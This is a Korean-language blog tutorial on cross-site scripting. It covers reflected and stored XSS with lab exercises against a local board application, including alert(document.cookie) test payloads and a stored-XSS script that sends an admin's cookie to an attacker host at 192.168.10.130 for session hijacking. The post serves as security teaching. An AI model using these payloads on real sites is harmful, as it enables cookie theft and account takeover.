웹/웹 보안

XSS(Cross Site Script)

비니화이팅 2018. 7. 15. 09:25

XSS(Cross Site Script)

태그로 된 공격코드가 있을 때 브라우저에서 실행을 시켜주는 취약점입니다. 즉, 브라우저가 공격을 당한다고 생각하시면 됩니다.


XSS는 Reflected XSS와 Stored XSS로 크게 2가지 유형으로 나눠집니다. 간단하게 설명을 보고 가겠습니다.

XSS 유형
1. Reflected XSS
- 공격자의 공격 스크립트가 DB에 저장되지 않고(일회성 공격이 가능) 사용자가 클릭했을 경우에 동작
- <a href> 태그 이용
- 공격 범위 : 공격 태크 클릭하는 사용자
- Reflected XSS는 공격 스크립트가 삽입된 URL을 사용자가 쉽게 확인 할 수 없도록 변형(보통 Encoding)시킨 후 이메일이나 다른 웹사이트 등에 클릭을 유도

- 주로 검색창

 

2. Stored XSS
- 공격자의 공격 스크립트가 DB에 저장되며(다회성 공격이 가능), 사용자가 게시물을 View 했을 경우에 동작
- <script> 태크 이용
- 공격 범위 : 해당 게시물을 열람하는 모든 사용자
- Stored XSS는 스크립트를 일반 게시판 등에 공격자가 게시글에 스크립트를 삽입하여 사용자가 해당 페이지를 클릭하는 순간 스크립트가 실행하도록 하는 방법

- 주로 게시판

 

쉽게 말해 공격코드가 ①DB에 저장되는지 안되는지의 차이 ②일회성인지 아닌지의 차이가 있습니다.



XSS 취약점이 있는지 어떻게 확인할 수 있을까요? 아래와 같은 방법을 통해 확인할 수 있습니다.

취약점 확인

아래의 스크립트를 검색창 혹은 게시판에 넣어 확인할 수 있습니다.

<script>alert("hi")</script> 

<script>alert(document.cookie)</script> 

 

확인할 때 무조건 script로 해야하는 것은 아닙니다. script는 하나의 예시일 뿐 태그 기반의 모든 것들을 이용하여 취약점 확인이 가능합니다.

Ex) iframe, src, image 등

 

원래는 모든 페이지에 대해서 검사를 해야 하지만, 한 두개의 페이지에서 취약점이 발견되면 나머지도 취약점이 있을 가능성이 크기 때문에 나머지는 안보는 경향이 있습니다.

 

이번에는 직접 XSS 두가지 유형을 실습해보도록 하겠습니다.

실습

1. Reflected XSS

게시판의 검색창에 <script>alert("XSS Test")</script>를 검색해봅니다.

 

검색을 하면 alert창이 뜨지 않습니다. 그렇다고 해서 무조건 취약점이 없는 것은 아닙니다. 다른 원인이 있는지 확인을 해봐야 합니다.

 

소스코드를 확인해보면 아래와 같습니다.

필터링때문이 아닌 script가 value속성 안에 들어가있었기 때문에 작동하지 않았습니다.

 

그렇다면 작동이 되도록 한번 수정해봅시다.

value속성 안에 script태그가 들어가있었기 때문에 value속성을 "로 끝내주고 input태그도 >로 아래와 같이 닫아줍니다.

<input type="hidden" name="w" value=""> <script>alert("XSS Test")</script>">

 

"> <script>alert("XSS Test")</script>을 검색창에 넣어주면 아래와 같이 alert창이 뜨는 것을 확인할 수 있습니다.

 

소스코드로 확인해보면 아래와 같습니다.

 

브라우저의 쿠키정보를 확인해 보기 위해  "> <script>alert(document.cookie)</script>를 이용하여 쿠키정보도 확인할 수 있습니다.


XSS 실습과는 크게 관련이 없지만 공부하는 차원에서 POST방식을 GET방식으로 표현한다면 어떻게 되는지 알아보도록 하겠습니다.

위의 패킷을 paros로 잡아봅니다.

 

url은

 POST http://192.168.10.128:8080/board/index.asp?cmd=list HTTP/1.1

 

파라미터는

 sr=yes&gubun=free&p_from=&b_com=yes&k=info_title&w=%22%3E+%3Cscript%3Ealert%28document.cookie%29%3C%2Fscript%3E

 

임을 알 수 있습니다.

 

이것을 GET방식으로 바꿔보면 아래와 같습니다.

 http://192.168.10.128:8080/board/index.asp?cmd=list&sr=yes&gubun=free&p_from=&b_com=yes&k=info_title&w=="> <script>alert(document.cookie)</script>

인코딩/디코딩은 http://itlearner.tistory.com/238을 참고하면 됩니다.

 

 

2. Stored XSS-1

게시판에 아래와 같이 스크립트가 포함된 게시글을 작성합니다.

 

게시판에 정상적으로 작성한 글이 등록된 것을 확인할 수 있습니다.

 

해당 게시물을 클릭하면 아래와 같이 스크립트가 동작하게 됩니다.

 

앞에서 말했듯이 꼭 script로만 점검해야하는 것은 아닙니다.

 

아래와 같이 제목에는 <marquee>XSS 테스트</marquee>

내용에는 <input type="button">를 작성하여 게시글을 작성합니다.

게시판에 등록이 된 모습입니다.

marquee태그가 작동되어 스크롤됩니다.

 

게시글을 클릭하면 아래와 같이 태그가 동작된 것을 확인할 수 있습니다.

 

참고로 input태그에 사이즈 제한이 되어있으면 프록시로도 우회가 가능합니다.

 

 

2. Stored XSS-2

이번에는 Stored XSS를 이용하여 관리자의 쿠키 값을 탈취하고, 그 쿠키값을 이용하여 관리자의 계정으로 로그인해보도록 하겠습니다.

1. 공격자는 웹서버에 공격코드를 등록한다. (게시글 작성)

2. 관리자가 해당 공격코드를 실행한다. (공격자가 등록한 글을 읽음)

3. 관리자의 쿠키정보를 공격자에게 전송한다.

 

공격자 IP : 192.168.10.130

 

아래의 코드를 공격자 PC에 저장합니다.

 

간단하게 코드를 설명해보자면,

우선 쿠키값을 받아서 cookie 변수에 넣고, 그 때의 날짜와 시간을 atime변수에 넣고 data.txt파일을 생성하여 각각의 변수의 값들을 저장합니다.

공격이 성공했는지의 여부를 쉽게 확인하기 위해 이미지도 팝업되도록 하였습니다.

 

이번에는 아래의 html코드를 게시판에 올립니다.

1
2
3
4
5
6
7
<html>
<head>XSS</head>
<title>XSS Test</title>
<script>
 
window.open("http://192.168.10.130:80/cookie.php?data="+document.cookie,"small","width=150,height=220,scrollbars=no,menubar=no")</script>
</html>
cs

쿠키를 가져와서 공격자의 cookie.php페이지에 전달하는 코드입니다.

게시글로 작성 시 공백에 주의해야 합니다.

 

아래와 같이 공격자의 아이디로 게시물을 작성합니다.

 

 관리자 계정으로 로그인합니다. (admin-sec123)

 

관리자는 방금 공격자가 올린 1번째 공격이라는 게시글을 클릭합니다.


이때 공격자가 echo하도록 해놓은 사진이 뜨는 것을 확인할 수 있습니다.

 

이때 공격자는 웹 서버 홈디렉터리(C:\APM_Setup\htdocs)에 data.txt파일에서 관리자의 쿠키값을 볼 수 있습니다.

 

이때 다시 공격자의 아이디로 로그인해서 알아낸 관리자의 쿠키값으로 쿠키툴바를 이용하여 수정합니다.

 

그러면 아래와 같이 관리자 계정으로 로그인된 것을 확인할 수 있습니다.


 

참고

아래와 같은 방법을 사용하여 XSS를 방지할 수 있습니다.